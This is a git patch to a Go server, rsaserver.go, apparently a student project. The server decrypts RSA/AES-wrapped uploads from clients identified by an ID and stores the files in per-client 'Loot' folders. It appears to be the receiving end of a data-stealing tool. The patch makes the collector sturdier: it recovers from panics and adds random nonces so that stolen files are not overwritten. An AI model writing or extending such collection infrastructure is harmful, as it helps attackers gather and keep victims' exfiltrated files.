From e21dee39c751c33833b0e63995d8f124aca06890 Mon Sep 17 00:00:00 2001
From: Joren Schipman <joren.schipman@student.howest.be>
Date: Thu, 2 May 2024 12:31:57 +0200
Subject: [PATCH] a

---
 rsaserver.go | 40 ++++++++++++++++++++++++++++------------
 1 file changed, 28 insertions(+), 12 deletions(-)

diff --git a/rsaserver.go b/rsaserver.go
index 85e4d7a..8abdd8e 100644
--- a/rsaserver.go
+++ b/rsaserver.go
@@ -16,6 +16,7 @@ import (
 	"github.com/liamg/magic"
 	"os"
 	"time"
+	"math/rand"
 )
 
 var jpegExif = []byte{0xff, 0xd8, 0xff, 0xe1}
@@ -53,6 +54,11 @@ func main() {
 }
 
 func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) {
+    defer func() {
+        if r := recover(); r != nil {
+            log.Printf("Recovered from panic: %v", r)
+        }
+    }()
     defer conn.Close()
 
     fmt.Println("Got conn")
@@ -105,8 +111,6 @@ func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) {
 }
 
 
-
-
 func decrypt(cipherText []byte, key []byte, iv []byte) ([]byte, error) {
 	block, err := aes.NewCipher(key)
 	if err != nil {
@@ -184,7 +188,8 @@ func decryptKeyIV(ed string, privateKey *rsa.PrivateKey) ([]byte, error) {
 
 func handleDecrypted(decryptedDataB []byte, uidB []byte) {
     data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB)))
-    
+
+    // Determine file type
     fileType, err := magic.Lookup(data)
     if err != nil {
         if err == magic.ErrUnknown {
@@ -193,18 +198,18 @@ func handleDecrypted(decryptedDataB []byte, uidB []byte) {
             panic(err)
         }
     }
-    
+
     var fileTDef string
     if fileType != nil {
         fileTDef = fileType.Extension
     } else {
-	    if(string(data[:4]) == string(jpegExif)){
-		    fileTDef = "jpeg"
-	    }else{
-		    fileTDef = "unknown"
-	    }
+        if string(data[:4]) == string(jpegExif) {
+            fileTDef = "jpeg"
+        } else {
+            fileTDef = "unknown"
+        }
     }
-    
+
     uid := strings.TrimSpace(string(uidB))
     folderPath := fmt.Sprintf("Loot/%s", uid)
     err = createFolderIfNotExists(folderPath)
@@ -213,8 +218,10 @@ func handleDecrypted(decryptedDataB []byte, uidB []byte) {
     }
 
     timestamp := time.Now().Unix()
-    filename := fmt.Sprintf("%d.%s", timestamp, fileTDef)
-    
+
+    nonce := generateNonce(8) 
+    filename := fmt.Sprintf("%d_%s.%s", timestamp, nonce, fileTDef)
+
     filePath := fmt.Sprintf("%s/%s", folderPath, filename)
     fmt.Println(filePath)
     err = saveFile(filePath, data)
@@ -225,6 +232,15 @@ func handleDecrypted(decryptedDataB []byte, uidB []byte) {
     fmt.Printf("Got a %s from %s, saving to %s\n", fileTDef, uid, filePath)
 }
 
+func generateNonce(length int) string {
+    const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
+    var nonce strings.Builder
+    for i := 0; i < length; i++ {
+        nonce.WriteByte(charset[rand.Intn(len(charset))])
+    }
+    return nonce.String()
+}
+
 
 func createFolderIfNotExists(folderPath string) error {
 	_, err := os.Stat(folderPath)